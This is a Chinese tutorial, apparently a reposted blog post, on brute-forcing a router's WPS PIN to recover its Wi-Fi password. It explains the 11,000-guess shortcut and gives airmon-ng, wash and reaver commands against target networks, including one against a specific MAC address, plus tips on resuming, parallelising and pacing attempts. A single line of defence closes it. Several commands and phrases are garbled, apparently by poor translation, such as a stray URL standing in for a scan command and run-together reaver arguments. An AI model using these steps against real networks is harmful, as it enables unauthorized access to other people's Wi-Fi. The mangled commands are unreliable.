路由器打开wps功能后，会随机生成8位pin码，通过暴力枚举pin码达到解密的目的。 特别是现在，许多路由器默认打开wps功能。 大家可能觉得8位数的随机pin码有100000000种，这个要pin到几年几月呢？ 但是，接下来说明原理的话，就会知道其实没有太多的情况。 这也是这种攻击方式流行的原因。
1.pin码破解的原理：
pin码是由8位纯数字组成的识别码，密码的解读分为三个部分。 法则如下。 pin码如图所示分为三个部分。
前4位是第1部，第5-7位是第2部，最后1位是第3部。 第一部分的验证与第二部分无关，最后一位是从第二部分计算的校验码。
解密首先是将第一部分单独进行pin码匹配，即解密前4位的pin码。 前四位是0000-9999共计10000个的组合。
在确定了当前4位的pin码之后，对第二部分进行pin码的匹配，即解读5-7位。 5-7位是000-999共计1000个的组合。
现在的7位数确定后，最后的1位数也会自动出来，解读完成。
根据pin码解读的原理，仅列举11000种情况就必然能够解读pin码，用pin得到wifi密码。
2.PIN码爆破：
说明理解了原理，接着开始使用工具爆破pin码。 无线主题均基于kali2.0操作系统，无线网卡采用WN722N。
爆破pin码的前提是路由器打开了WPS功能，首先是发现打开了WPS功能的wifi。
如果网卡无法切换到监听模式： airmon-ng start wlan1,监听模式，请参阅第一篇文章。
在命令行中输入：http://www.Sina.com/scan以打开wps wifi设备。 WPS Locked为No的东西请试着爆破。
找到打开了WPS的wifi。 接下来进行二维码爆破吧。 以下主要谈reaver工具。
wash -i wlan1,
reaver -i mon0 -b mac -S -v
reaver命令参数：
-i监听后接口名称-b目标mac地址-a配置自动检测目标AP-s使用最小的DH key-vv显示更多非关键警告-d或delay的无限次空闲时间默认为1秒-t 指定一个通道的示例，如-c1
reaver-imon0- bmac-a-s-d9T9-vv )
需要根据情况调整参数。 在-c之后，目标通道为1。)
目标信号为： reaver-imon0- bmac-a-s-vv-d0-C1
目标信号通常为： reaver-imon0- bmac-a-s-vv-D2-t5-C1
目标信号通常为： reaver-imon0- bmac-a-s-vv-D5-C1
选择打开了以前扫描的WPS的wifi，然后选择一个进行解密。
: reaver 命令：
在复盖期间，reaver将生成名为根mac地址的wpc文件。 该文件位于kali系统的/etc/reaver/文件夹下。
暂时不能pin，但如果稍后pin时命令添加参数-s file.wpc，pin将根据之前的进度继续。
3. reaver -i wlan1 -b 54:E6:FC:35:C5:82 -S -N -vv -c 4
注意点：
1.一般reaver 前四位默认是从0开始，如果想从指定的数值开始爆破需要添加-p参数：-p 9000,这个意思就是从9000开始，只要不pin死路由器，可以多开几个窗口，从不同的数值开始。
2.最后pin完最后会显示WPS PIN(正确的pin码)和WPA PSK(wifi密码)，同时如果WPS功能没关，pin码没修改，无论怎样修改密码，都可以通过pin码获取wifi密码：reaver -i mon0 -b mac -p pin码，来再次得到密码
3.一般pin的过快，会把路由器pin死，所以一般还会加上-d5 -t5参数，添加5秒延时，当然数值可以自己改。
4.防范措施：
1.WPS功能对个人基本上没啥作用，还是关了吧。
尊重原创，七夜开始的故事http://www.cnblogs.com/qiyeboy/